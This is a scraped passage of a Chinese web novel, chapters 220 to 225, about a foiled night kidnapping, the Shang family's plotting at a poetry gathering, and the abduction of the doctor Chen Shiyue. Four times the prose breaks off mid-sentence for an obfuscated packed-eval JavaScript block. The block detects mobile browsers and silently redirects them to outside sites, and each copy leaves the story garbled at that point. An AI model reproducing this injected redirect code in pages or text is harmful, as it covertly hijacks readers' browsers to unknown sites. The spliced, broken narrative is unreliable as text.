蓦地,二人忽然齐刷刷抬头,全身的毛孔都在扩张,其后悄悄站起身来,目光警惕的望着房顶。 林序打了个手势,示意他看好睡着的霍青行,兀自压了脚步声缓步朝着外面走去。 这帮不知死活的东西!! 第二百二十章 说什么得罪?以死谢罪吧! 黑灯瞎火的,肯定没好事。 徐玉莹正好带着人,端着糕点和茶水过来,没想到恰好撞见出门的林序,刚要开口却被林序制止。 “嘘!”林序示意她不要吱声。 徐玉莹:“??” 身后的丫鬟将糕点和茶水送进了屋子,林序却拽着她行至僻静处,“有人来了,去找你爹娘他们,务必保护好自己。” “嗯!”徐玉莹没什么本事,但听劝,转身就跑开了。 不管什么时候,活着才是上上策。 瞧着徐玉莹离开的方向,林序收敛心思,目光锐利的扫过外头的漆黑一片,之前还只是小动作,如今都已经舞上了门? 是想刺探少将军的位置? 还是想刺探别的? 林序纵身一跃,悄无声息的跳上了屋顶。 不远处,几个黑影跃动,似乎是在找寻什么? 林序伏在了屋脊上,留意着他们的动静,发现他们最后停留在后院,那是徐家老太爷,徐敬的院子,也不知道这帮人想干什么? 深吸一口气,林序扫一眼周遭,纵身从边上包抄而过,最后停留在距离他们最近的屋脊上,刚好逆光隐匿在黑暗中,只要他不动,那边就发现不了。 一共有三个人,好像是冲着徐敬来的,彼此交流了两句,声音很低,所以林序听不清楚他们在说什么,但唯一能看出来的,便是他们打算动手了。 林序裹了裹后槽牙,一对三,不知道对方有多大的能耐? 少将军说了,不可轻敌。 三人旋即落下,林序紧随其后。 此时此刻的徐敬,正在屋内翻看着医书古籍,不管什么时候都不能放下自己的本能,活到老学到老。 “老爷,时辰不早了,早点休息吧!”老奴在边上劝着。 徐敬不为所动,“你下去休息,我再看看。” 已经没了一个闺女,好不容易回来一个孙女,可不能让孙女婿有什么闪失,这种情况下,他得将事情做到极致,不能让霍青行有任何的闪失。 “那您早点休息。”老奴行礼,退出了房间。 徐敬坐在桌案前,翻看着医书,时不时的皱起眉头,偶尔好似想起了什么,还得快速抄录下来,以免年纪大了忘性大,回头又给忘记了。 如此全神贯注,以至于窗外进了人都不知道,只管低头查阅。 下一刻,寒光冷冽。 徐敬终是反应过来,笔杆子还提在手中,年纪大了,反应是慢点,瞧着三个黑衣人从昏暗中走过来,竟也不知道开口喊人。 徐家家风严谨,素来行得正坐得端,为世人所敬重,所以从不担心会发生鸡鸣狗盗之事。 说句不好听的,就算是小偷来了,也得绕着徐家走。 行医救世,宽厚待人。 “你们是何人?”徐敬沉着脸,“来此有何贵干?” 徐家不会轻易得罪人,自然不会有无妄之灾,但如果有人存心为之,另当别论。 “徐老太爷,得罪了!”为首的开口,“烦劳跟咱走一趟,过两日再把您送回来。” **是不可能的,这个节骨眼上**,谁都不会好过,但若是把人带走,然后借此为要挟,徐家的人必定安分守己。 等到事情过去之后,再把人送回来,一切早已尘埃落定…… 徐家,注定不安分。 徐老太爷,便是命脉所在。 徐敬放下手中的笔杆子,慢慢悠悠的合上书册,然后归为原位,沉着脸看向眼前三人,没有半点惊慌之色,相反的,极为坦荡,“我徐家行得正坐得端,岂容尔等造次?你们是何人,劫我作甚?是想拿我要挟我家儿郎?” “咱也都是敬佩徐老太爷您的,但……拿人钱财,与人消灾。”三人已经靠近,“得罪了。” 麻袋在手,打包带走。 谁知…… 麻袋还没套上去,手腕骤然传来举动。 小石子破窗而入,狠狠嵌入肉里,紧接着便是翻窗而入的林序,嘴角叼着一根草,走路带着一点风,眸光中带着几分戏谑,“啧啧啧,深更半夜私闯民宅,还有脸假装文质彬彬,说什么得罪不得罪的,既然知道得罪,为何不以死谢罪呢?” 三人齐刷刷的看过去,目光阴狠毒辣,“杀了他!” 好嘛,对着徐家老太爷就是得罪了,对着他林序就是杀了他,真是双标得很! 林序嘴皮子溜,手上功夫也不弱。 三个人冲上来,双方一交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403630|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,他就摸透了三人的实力。 很好! 不瞬,三人就被撂下。 虽不至于在老人家面前,让这三人血淋淋的缺胳膊断腿,但是分筋错骨也是林序的绝活。 三人躺地上哼哼唧唧,徐庚与王氏,带着人冲了进来,一个个气喘吁吁,可见心中慌乱,差一点就没赶上。 “我就、我就说,得……得快点吧!”徐玉莹气喘吁吁,“还好,还好来得及!” 她当时就跑去找了父亲,其后便与父亲母亲,带着家中的护院,急急忙忙的赶来,还好林序来得早,否则等他们赶来的时候,只怕老太爷早就被人一麻袋带走了。 “全部抓起来。”徐庚怒火中烧,“简直是欺人太甚,这都找上门来绑人了?全部给我扭送衙门,我定要让他们吃不了兜着走!” “慢!” 林序开口。 徐庚一怔,什么意思? 众人的目光齐刷刷落在林序的身上。 “抓起来,关起来,不必扭送衙门了。”林序解释,“一丘之貉,你们前脚把人送进去,他们后脚就把人放了,到时候只会换来狗急跳墙。” 徐庚顿了顿,许是想起了什么,先让人把这三个绑起来,送到柴房里关押。 “公子这话是什么意思?”徐庚见着大家都退下,才敢小声问,“衙门……” 林序点头,“若非如此,商家如何只手遮天,坏事做绝而没遭到报应呢?” 徐庚心凉半截。 王氏轻轻拍着他的脊背,以示安抚,“不是不报,时候未到。” “人丢了,他们会静观其变,不敢轻举妄动,一旦扭送衙门,他们就会知晓事情败露,到时候狗急跳墙,会明目张胆的对徐家不利。”林序解释,“少将军没有清醒之前,万望诸位小心行事,我与手底下的弟兄,也会拼尽全力保护大家。” 徐敬叹口气,“为富不仁,作恶多端,迟早会有报应的。” “明日就是诗文大会。”徐庚停顿了一下。 屋内一片死寂。 明日之后,必不太平! “要当心。”徐敬看向林序。 林序行礼,“放心。” 明日,有热闹可看了…… 第二百二十一章 她可不是圣母心的烂好人 夜色沉沉,徐家重新归于寂静,只是谁也不敢放松警惕,经此一事,当分外当心。 王氏带着徐玉莹离开,徐庚干脆就住在偏房,小心翼翼的护着自家老父亲,虽然徐敬全不在意这些,但作为儿子,岂能大意。 回到房内,安信快速迎上来,“如何?” 林序示意他稍安勿躁,“想劫徐老太爷,被我拿下了,估摸着不是商家的人,应该是长乐门。” 闻言,安信眉心陡蹙,“你是说……” “嗯!”林序点点头。 安信给他倒了杯水,“贼心不死,早晚掏了他们的老巢。” “金都那边的人已经来了,只不过经了路上被截杀一事,进入永安县便会分外小心。”林序接过杯盏,淡然饮茶,偏头看向躺在床榻上,安然入睡的霍青行,“敢把少将军弄成这样,定然不能放过他们,什么狗屁商家,此番一并了账。” 安信点头,“明日我会看好少将军,你只管去做你要做的事情,其他人会悄悄保护月大夫。” “好!”林序颔首。 那就这样决定了! 分头行动,护住该护的。 大概是心里有所感应,陈识月今夜有点心绪不宁,但家里一直没别的消息传来,她只能在屋内徘徊,瞧着外头黑漆漆的夜色发愣。 高秀娥进来的时候,恰见着陈识月在发愣,下意识的皱起眉头,看向自己的儿子。 还好。 商野没什么事。 “月大夫。”高秀娥放下茶水和糕点,眉眼间凝着淡淡的忧虑之色,“累了吧?要不要休息一下?” 陈识月摇摇头,“没什么大碍。” “之前多有得罪,幸得月大夫不计前嫌。”高秀娥满脸愧色,“月大夫,我儿子他们没事了吧?瞧着好像热度下来了。” 这是试探。 若是好转了,就可以卸磨杀驴了? “肉眼可见到好转了,但骨子里没养好,一着不慎就会复发,反反复复两下,不知道贵公子有没有这个命,可以折腾下去?”陈识月一眼就看穿了她的心思,“商夫人若是不信,可以试试。” 高秀娥不敢说话了,这些日子以来,她算是看明白了,陈识月的医术的确高明,更高的事……她完全不是用寻常的医治手法,在很大程度上已经立在了无可取代的位置。 说句不该说的,若是出什么事,让寻常大夫来接手,都未必能接得下她这活…… 别看陈识月是个小丫头,一介女流之辈,却是个心狠手辣的,见血不眨眼,剜肉不动容,动刀子的时候连大男人都看得心惊胆战,她倒是面不改色。 “不要想着让那个人取代我。”陈识月阴测测的笑着,“我只要一放手,谁也接不住这活,你若是不相信,大可拿你儿子的命去试一试。” 高秀娥憋了一口气,终是无奈的退出了房间,及至外头,一脚踹在了廊柱上,却疼得她龇牙咧嘴,心里将陈识月骂了千万遍。 “夫人?”底下人上前,“大公子醒了。” 高秀娥陡然回过神来,忙不迭朝着房间走去。 商武醒了,只是依旧虚弱,此前只能醒片刻,如今倒是神志清明,可见陈识月的确是有本事的,用药精准有效。 “儿啊!”高秀娥眼含热泪,“你终于醒了。” 商武奄奄一息,“母亲!” “醒了就好,醒了就好。”高秀娥只抹眼泪,“可真是吓死母亲了。” 商武垂下眼帘,“让母亲担忧,是我的不是,阿野如何?” “他……”高秀娥说不出话来。 商武心中了悟,“是……是姓霍的那小子,是他……他把我们害成了这样。药明明下在他的饭食和茶水里,可不知道怎么的,就……就变成了我们……” 说到这里,商武浑身颤抖,可见当时的场景他还是有点印象的。 药性发作的时候,他们逐渐失去了理智,但是在失去理智之前,还是能有所意识的,可惜最后都疯了,彻底的疯狂,哪怕是染了血也不知道疼痛,麻木得如同野兽一般。 直到,药效彻底耗尽。 可这药分明不是如此,怎么最后变成这样呢? “是霍、霍家那小子,是他算计了我们。”他是只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404224|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字不提,自己是自作自受。 高秀娥抱着儿子呜咽,“我的儿啊,吃苦了!你放心,等你们好起来,父亲母亲一定会为你们报仇雪恨,这件事,咱不会善罢甘休的!眼下你们伤重,还需忍耐。” “嗯!”商武吃力的点点头,“母亲,别放过他们。” 高秀娥伸手摸着儿子消瘦的脸,“放心。” 这笔血债,势必要讨回。 只不过现在,暂时没找到霍青行的踪迹。 商武到底是虚弱,没说上两句话便扛不住了,昏昏沉沉的睡了过去。 高秀娥看在眼里,疼在心里,半晌过后才低语,“放心吧,他们呀……我一个都不会放过。” 不管是姓霍的,还是什么月大夫,又或者是徐家,都不是什么好东西,既然敢伤她儿子,就得做好见血的准备。 从商武那边回来,高秀娥脸上的冷色减少了大半,再见陈识月的时候,当即笑了笑,“多亏了月大夫,要不然的话,吾儿小命休矣。” 陈识月看她一眼,“你也不必谢我,毕竟不诚心的谢意,说出来也亏心。” 高秀娥:“……” 这丫头医术邪,说话也邪,字字句句都不留情面,连半点周旋的余地都没有,真是让人……压根接不住话茬。 “醒了一个,算是放了一半的心,接下来就剩这个了。”陈识月瞧着床榻上商野,又看了看眸色坚毅得想要入党的高秀娥。 呵呵,你以为醒了就完事了? 商家作恶多端,杀了那么多人,她陈识月又不是冤大头,也不是那种圣母心泛滥的滥好人,救你们如同救老虎,掉过头来就得吃了无辜人,她能允许此事发生? 看似行了,但是这辈子都不行! 夜里,相安无事。 翌日晨起,商府又开始忙碌。 诗文大会就在今日,商城早已带着人赶往会场,众人进进出出的,注意力全都落在了诗文大会上。 商府,好似忽然空了下来,显得格外安静。 陈识月徐徐打开针包,若有所思的看向床榻上,昏睡不醒的商野…… 第二百二十二章 杀机四伏的诗文大会 治病不是什么难事,难的是……有些东西不可外传,要不然以后谁都会了,那还得了?人总得有点自保的能力,给自己留点余地。 又不是收徒弟,平日里岂能倾囊相授、坦诚相见?! 一番金针刺穴过后,陈识月拭去额头的汗珠子,转头看了一眼门外的身影,慢悠悠的收起了针包。 有徐玉安和生伯守在外面,自然不会有人能进来。 门开。 二人齐刷刷转头,“怎样?” “放心。”陈识月看了一眼外头的动静,“看样子今日的诗文大会很热闹。” 徐玉安有些可惜,“去不了。” 即便如此,什么也比不上陈识月来得要紧! “你不会功夫,还是别去的好。”陈识月意味深长的开口,“免得到时候自保都成问题。” 徐玉安当即凑上来,“月儿表妹,你是不是知道点什么?” “你以后就知道了。”陈识月不解释。 人前少说话,人后看热闹。 有热闹可看,提前解说就没意思了。 诚然。 诗文大会已经开始,虽说是第一日,但的确是热闹。 每次诗文大会都很热闹,此番更甚。 不是谁都能进入会场的,得有拜帖,若是没有拜帖,也得需要交付一定的入门银子,才能踏入此处,是以寻常百姓和白丁是不会花银子进去,一则穷二则不值得。 书都没读过,大字不识一个,进去凑什么热闹? 在外面看看也是一样的,毕竟外面不花钱,就是距离远一点,不能融入这氛围罢了。 此前的诗文大会魁首出面,出了一道题之后,就开始了热烈的讨论,凡饱学之士都能上擂台回应,且看最后花落谁家。 商城就站在主台边上,将目光落在人群之中,不断的搜寻着,不知道那些人会藏匿在何处? 一个两个都是生面孔,有人结伴而来,有人一腔孤勇,交头接耳,兀自沉吟,每个人的表情都是生动的,亦一时无法分辨谁才是商城想找的人。 “老爷?”底下人凑上来,“不好找,那边都是带着拜帖进来的,这边都是花了银子进来的,一时间还真是不好分辨。” 商城眯了眯眸子,“盯着点,若是发现金都的人,立刻来报。” “是!” 刑部的郎官都隐匿在人群之中,只要他们不崭露头角,安安心心当个看客,就不会有人能看出端倪,毕竟人那么多,谁知道这几个是来查案的呢? 贩卖私盐,罪无可恕。 正因为是重罪,所以商家的人应该也很清楚,要么一不做二不休,要么等着抄家灭族。 要想富,就得不要命。 “那些人还没找到吗?”有人藏匿在房中,低声问。 商城在门口顿了顿,然后摇摇头。 这帮人就跟人间蒸发了似的,消失得无影无踪,鹰隼不见了,人也不见了,该不会是临阵脱逃,所以跑了吧? “这帮蛮子说话不算话,不会临阵脱逃了吧?”商城皱眉,“本来说好的,一手交钱一手交人,到时候这截杀朝廷命官的事情,可以由他们来担当,一命换一命,但是现在……到底是谁在从中作梗,谁说的才是真的?” 对方带着面具,显然也是沉默了。 因为,人真的找不到。 找不到蛮子这帮人,连鹰隼都丢了,甚至于…… “我们也折损了一帮兄弟。”对方终是低低开口,“到现在生不见人,死不见尸。” 商城皱眉,狐疑的打量着他,“会不会是霍家?” 对方沉默。 “毕竟霍家那小子也丢了,到现在也是不见踪影,若是离开倒也罢了,若是没有走而是蛰伏下来,还不定会如何?”男人站在窗口位置往外看。 这边看过去,全是街道,人头攒动,不少人都伸长脖子瞧着擂台那边看去,所有的注意力都落在前方,倒是无人留意贵客台这边。 “霍家那小子迟早是个祸患,可惜咱搜遍了整个永安县,始终没有找到他的下落,不知道藏匿在何处,自临江楼消失之后便不知所踪。”商城提起这个,就恨得咬牙切齿,“这该死的东西。” 莫要落在他手里,否则的话,他定要霍家这小子付出代价。 自己的两个儿子,都是因为姓霍的,险些**…… 这笔血债,必须血偿。 “你先悠着点。”男人开口,“等诗文大会结束,再了结他不迟。既然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410297|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是出现在这里,想必一时半会不会离开的,等着诗文大会结束,他的生死……交给你们商家处置。” 商城点点头,“多谢!” “继续找一找,金都的人不能活着离开永安县。”男人意味深长的说,“你要知道,咱们的买卖都是要命的,若不能铲除忧患,必定会招来腥风血雨。” 商城当然也知道,否则不会借着这一次的诗文大会,来混淆视听,借刀**。 “老爷!”底下人快速进门,“好像找到了。” 好像找到了? “在哪?”顾不得其他,商城快速出门。 在台下一隅,瞧见了几个左顾右盼之人,一个两个还偶尔交头接耳的,似乎是在查找什么,这些人身板挺得笔直,一个两个分外小心。 “就是他们几个!”底下人解释。 商城想了想,快速走下楼梯,朝着那边走过去。 是与不是,试一试便知道。 “诸位是……外乡来的?”商城拱手,笑盈盈的开口。 闻言,对方这几人都愣了愣,其后回之以礼。 “是!”为首的是中年男子,端得君子之姿,行的君子之礼,一派谦和温润之态,“途径此处,听说有诗文大会,便协同朋友前来凑个热闹。阁下是……” 商城笑道,“有诸位饱学之士前来,即便是看看也是商某的福分,欢迎之至。” “原来你就是商员外!”对方大吃一惊,慌忙揖礼,“失敬,失敬。” 商城指了指不远处,“茶水糕点皆早早备下,诸位若是渴了饿了,可自行取用。若是有招待不周的地方,万望海涵包容,来日必定整改。” “商员外客气了,甚好,甚好。”对方忙笑着回应。 商城顿了顿,“听先生的语气,似乎是金都来的?” “额……”对方犹豫了片刻,继而点点头,“商员外不愧是商员外,咱的确是从金都而来,机缘巧合途径永安县。文墨不多,当不得先生二字,不过是略识得几个字罢了!” 商城笑了笑,“诸位客气,那……诸位自便。” “好!” 商城转身离开,面色瞬时黑沉下来,“不是他们,再找!” “是!” 第二百二十三章 坏了,是她! 商家的人,不断穿梭在人群里,只盼着能尽快找到他们想找的人。 可惜,他们在找人,人家也在盯着他们。 装,永远比找更容易。 “都派出去找了吗?”有人低声开口。 有人低声回应,“放心,开始搜查了。” 现如今的状况,每个外人的注意力都落在诗文大会上,而有人的心思则落在生死之事上。 台上高唱着,“福祸不为己,天下人共之。” 台下却是腌臜不断,人心不古。 当然,林序他们也没闲着。 趁着这个时候商家的人,都将注意力落在了诗文大会,还有刑部郎官的身上,悄悄的潜入了各个早就探到的哨口,以迅雷不及掩耳之势,快速压住了所有人,且没有惊动外头。 林序没有进诗文大会,而是找了个离得最近的酒楼坐着,二楼打开窗,正好能看到不远处的诗文大会,也能看到底下街上的人来人往。 可真是热闹。 “端了三个了。”老二走进来,“老三带着人去端第四个了,人都会被送到了客船上,到时候全部送出去。” 林序给他倒了杯水,“辛苦了,想必朝廷很乐意看到这样的结果。” “不过,少将军什么时候能清醒过来,总这样傻乎乎的也不成,老大方才说了,少将军又喊着要出去找姐姐,压又压不住,打又不能打,这该如何是好?”老二挠挠头,“要是让老将军知道,还不知得闹成这样呢?” 林序白了他一眼,“等着月大夫回去,不就压住了?就这么一会功夫,忍一忍,忍一忍,忍一忍不懂吗?一个个,操什么心呢?只要你不说,我不说,谁知道少将军变成了傻子?我可警告你,这事别往外捅,回头消息泄露,少将军清醒过来……你们自己去领军棍,我可不担责任。” 老二喝了口水,嗫嚅了半晌才吐出一句,“傻乎乎也蛮可爱的,对吧?” “少管闲事,办正事要紧。”林序摆摆手。 老二掉头离开。 罢了,还是抓老鼠吧! 林序瞧了一眼老二离去的背影,眸光微沉,等着诗文大会结束,商城那个老匹夫肯定会卸磨杀驴,所以还是得做两手准备。 然,他似乎还是慢了一步。 可惜霍青行尚未恢复清醒,否则的话也不至于有此疏漏。 瞧着从外面走进来的道人,陈识月显然是警觉的,“阁下是……” 一眼,女。 不知意欲何为? 那女子不知道从哪儿来的,跟在高秀娥的身后,从外面走了进来,与陈识月打了个照面,即便对方一身道袍,不施粉黛,几乎完全是男儿装束。 但陈识月能看出来,这是个女子,不知装成这样,是想取代自己救治商野,还是别有目的? 靠近的那一刻,她忽然扬起了眸子。 熟悉的气息! 不对! 不对! 是她! 陈识月心下咯噔,下意识的想往后退,可想起来对方的手段,又看了看门口的生伯和徐玉安,一时间没敢吱声。 商家毕竟是龙潭虎穴,纵然徐玉安和生伯都会拼命的保护她,但眼下还不需要动手,没必要当众撕破脸,先静观其变,看看对方到底想做什么? “月儿?”徐玉安觉得不太对劲,进门走到了陈识月的身侧。 陈识月示意他不要轻举妄动,转而看了一眼高秀娥,“商夫人这是什么意思?不信任我?还是说,已经另请高明?若是如此,大可之言,我又不是心甘情愿来救人的,本就是你们强人所难。” “月大夫不要激动,我不是担心儿子吗?既然这么久都没有好转的迹象,一直这样浑浑噩噩的,倒不如请个小道士看看,说不定能有奇效。”高秀娥说着冠冕堂皇的话,嘴角却带着一丝得意的笑。 看得出来,她没安好心。 “好好好,既然如此,那我就看看这位小道士,能不能请来满天神佛?”陈识月光明正大的往外走,“你们慢慢驱邪请神,我就不陪你们玩了。” 见状,徐玉安一怔,赶紧追上。 高秀娥刚要开口,却又生生忍住。 “道长,您看这……”高秀娥有些担忧,也有些气急败坏。 女子似笑非笑,“别着急,这才刚开始呢!” “道长,您不是说有办法让我儿子彻底好起来吗?”高秀娥彻底急了。 急,怎么不急? 躺着的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416271|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的儿子。 “当然。”女子装模作样的坐在床边,伸手给商野把脉,目光却落在了门口方向。 半晌过后,高秀娥低声问,“道长,如何?” 女子点点头,“放心,我能让他这几日就好转。” 这几日? “果真?”高秀娥诧异,“莫非道长有什么良方?” 女子意味深长的笑着,“那是当然,何止是良方,简直是天材地宝,世上无双。” “这般厉害?”高秀娥倒是有些怀疑了。 说得比唱得还好听。 外头,陈识月走得匆忙,“我们马上走。” 徐玉安一怔,“不拖延时间了?” “这道士……你认识?”生伯则是快速发现了问题所在。 陈识月呼吸微促,“她之前袭击过我们,甚至于与人联手,拿活人试药,当时就是我与霍青行,带着衙门的人,抄了他们的老巢,这样的人出现在这里,你们觉得会是什么缘故?” “寻仇!” “报复!” 生伯与徐玉安对视一眼,各自在眼中察觉到了惊颤。 快,快走。 下一刻,所有人都将他们围住。 好在入府之前,带了不少家奴护院,这会快速呈现出保护的姿势,将陈识月等三人围困其中,以防不测。 “你们想干什么?”生伯冷然厉喝,“不想要你们主子的命了?惹怒了月大夫,到时候撒手不管,出了事情谁来负责?” 众人自然不敢担责,可他们受的命令就是如此。 “主子说了,不许月大夫离开,其他人可以立刻出去。” 这已经是退一步的结果。 “呵,我们来时一起,走自然也要一起走,咱又不是你们的犯人,我看谁敢拦着!”徐玉安护着陈识月,“都让开,要是真的敢动手,咱们徐家也不是吃素的,必不会与你们善罢甘休。” 即便如此,对方也没有退让的意思。 一下子,双方僵住。 陈识月伸手摸上了随身小包,想着要不要来点手段,一抬头,却见那女道士站在檐下,就这么笑盈盈的看着她,那眼神仿佛在看到嘴的猎物…… 该死! 第二百二十四章 还睡!媳妇都丢了…… 徐玉安和商家的人还在对峙着,这种情况其实略有些不妙,陈识月一下子不敢出手了,她觉得对方应该是认出了自己,即便那时候山洞里昏暗,但是他们的蛊是下在自己体内的,当时再乱也该看得清楚明白的。 虽然那老东西死了,但是这女人却活下来了。 那么多试药的,没一个能活下来,唯独陈识月体质特殊,蛊虫进了她体内之后,居然好端端的活下来了,而且就目前形势来看,陈识月没有任何的异常。 不只是没有异常,还活得很好…… 若不是试验过多次,实在是炼制不好蛊人,他们也不至于在深山冷坳里,用活人试药,但是现在有陈识月这个活体出现,这么久了还没死,可想而知得有多惊喜。 这蛊不知道是什么东西,但对于陈识月来说,就像是悬在头顶的一把剑,随时都会让她粉身碎骨,不管是谁,都不愿意在自己的身体里,放个不可控的活物吧? 她厌恶这种感觉,更害怕有一天自己会忽然不受控制,毕竟这东西不是自己的,不属于自己的东西,早晚会被人拿回去,可一来一回之间,总有代价无法承受。 “月大夫,得罪了!”对方显然也是在犹豫。 徐玉安急了,“谁敢!” 谁敢? 谁都敢! 因为这是商家。 双方忽然动手,生伯和徐玉安直接护着陈识月推到一旁的廊下,免得陈识月受伤,一个两个的都面色发白,虽然嘴上逞强,实则都哪儿见过这样的场景? 都是安安分分的人,守着医馆踏实度日,哪儿见过这样的事儿,尤其是鲜血飞溅的时候,两个老实巴交的男人顿时都傻眼了,尤其是徐玉安。 生伯倒也罢了,年岁上来了,见过的世面也多,所以第一反应就推搡着兄妹二人,“快,快走!” “莫怕!”陈识月知道,那人在试探着她到底有多少实力。 当时在洞窟里,那人就有所忌惮,现如今更是如此,要不然早就出手了。 “含着。”她把两枚药丸塞进了二人的嘴里,拂袖间便有白色的粉末就此撒出。 空气里弥漫着淡淡的香味,好像是花香。 众人旋即背过身去,以袖遮掩,大概也是害怕,生怕这白色的粉末会有毒。 陈识月拽着徐玉安和生伯跑的时候,还下意识的回头看了一眼,之前女道士站立的地方。 人不在。 人消失了。 心里有种不知名的忐忑,陈识月转身就跑,这会是再也不敢逗留。 “不能让他们跑了。” 众人高呼。 然而下一刻,纷纷腿软倒地。 陈识月跑得飞起,这些年不是上山挖药,就是在小心的跑路,所以脚程非寻常人比,要知道她因着朝廷钦犯的身份,随时做好了跑路的准备。 没办法,她是惊弓之鸟,一惊就飞,否则的话……霍青行怎么可能找了这么多年,一直没能找到她? 这一冲,还真是冲出了商家的大门。 “快跑!” 街上人头攒动,因着诗文大会的缘故,特别拥挤。 一下子,众人被冲散了。 “月儿!” “表小姐?” “在那边!” 人潮拥挤,陈识月被挤到了一条巷子口,再想挤进去,却是万万不能,而因为他们的突然闯入,方才热闹的人群,这会因为挤压而导致了踩踏,有人哎呀呀的叫着,有人推搡着。 身后有寒意传来,陈识月陡然转身,顷刻间瞪大眸子。 “姑娘,好久不见。” 耳畔的声音,骤然全部消失。 等着徐玉安和生伯带着护院,拨开人群,吃力的挤到巷子口,早已没了陈识月的下落。 难道是跑出去了? 他们从巷子这头,冲到了巷子那头,却始终一无所获,问询了守在巷子口的乞丐,是否见过陈识月,都摇摇头说没见着。 一瞬间,所有人都懵了。 “怎么会?”徐玉安不相信。 生伯也不相信,“一个大活人,不可能凭空消失的。” 但乞丐很肯定,没有看到他们口中的姑娘,从巷子里走出来。 “消失了?”徐玉安面色瞬白。 完了,不会被商家的人抓回去了吧? “不应该。”生伯忙道,“商家的人都在后面追着,如今还卡在人群里,就算是想来追我们,也只会在我们后面,不可能赶到我们前面。” 何况商家的人做事本就张扬,敢明目张胆的拦人,就敢明目张胆的劫人,压根不需要遮遮掩掩。 “商家的人不会飞,抓了人要么从我们跟前过,要么从这里出去。”生伯补充道,“情况不对,这不对,你马上回家告诉东家,我这就派人继续找。” 徐玉安回过神来,连连点头,转身就跑。 如今的永安县,热闹得很,本地的、外乡的都乱成一锅粥,衙门的人也都出动了,敌友不分的状况之下,什么事情都有可能发生。 “什么?”徐庚瞬间汗毛直立,“丢了?” 徐玉安跑得气喘吁吁,“我们跟商家撕破脸了,商家不让咱离开,咱就动手了,然后表妹不知道撒了什么东西,就带着咱跑了,出去之后到了街上就被人群挤散了。” “哎呦你个混账东西,怎么不跟着她呢?你攥紧她啊,怎么能让她一个人跑?这人生地不熟的,又有商家那帮吃人的豺狼虎豹盯着,你呀你呀……”徐庚气得跳脚。 王氏轻轻锤了他一下,“还嚷什么?带人去找啊!在家里骂儿子有什么用?快去找啊!找不回来,你们爷俩都别回来了!月儿吃了那么多的苦,要是要是在咱跟前……” “呸呸呸,别说不吉利的。”徐庚赶紧让底下人拿着棍棒,跟自己出去找人。 父子二人带着不少人出去,就算把整个永安县翻过来,也得找到陈识月。 一条街一条街的找,一个巷子一个巷子的翻…… “娘?”徐玉莹也跟着着急,“要不然我也去找吧?” 王氏急得团团转,“你就别凑热闹了,到时候帮倒忙的又是你!现在,你去守着你祖父,不管怎样,家里都要有个主心骨,其他的事情不用你操心。” “是!”徐玉莹也是个拎得清的,知道自己几斤几两,不敢往上凑。 王氏疾步匆匆,去找安信他们,陈识月失踪是大事,不能瞒着那边,毕竟霍氏算是官家,若是真的出什么事,好歹还有个霍氏能压得住商家。 “这帮杀千刀的东西!”王氏平日里性子温和,此番也是骂骂咧咧了一路。 但愿、但愿月儿不会出什么事…… 第二百二十五章 她杀人了 陈识月睁开眼,便发现了自己的处境,这应该不是商家,毕竟也是在商家待了这么多天,还算是有几分眼熟。 陌生的地方,陌生的环境,四下阴冷潮湿,黑漆漆的,没有任何的光亮,唯一庆幸的是她没有被手脚绑缚,是以这会醒过神来,她还是自由的。 哦不,也不算是自由,毕竟她现在出不去,周围窗户全部被封死了,只留下了一道门。 门外人影晃动,应该是有人在外头看守。 陈识月正在思量,要怎么才能绝处逢生?不能每一次都靠着霍青行,还是得靠自己才行,毕竟运气这东西随机性太大。 想了想,她伸手摸向腰间。 嗯? 她的随身小包…… 好嘛,果然是仔细。 大概是此前吃过她的亏,也看到她老往这里掏东西,所以要想留住她,第一反应就是没收她的护身符,让她没有办法再动手。 没了这些护身的毒和解药,她的处境就变得艰难起来。 “杀千刀的。”陈识月低咒一声。 以为拿了她的随身小包,她就失去了反抗能力? 想得美! 伸手摸上了自己的发髻,陈识月小心翼翼的摸索着,然后掏出了一个黑色的纸包,快速揣进了袖中,打从进入商家开始,她就已经防着这种事情的发生。 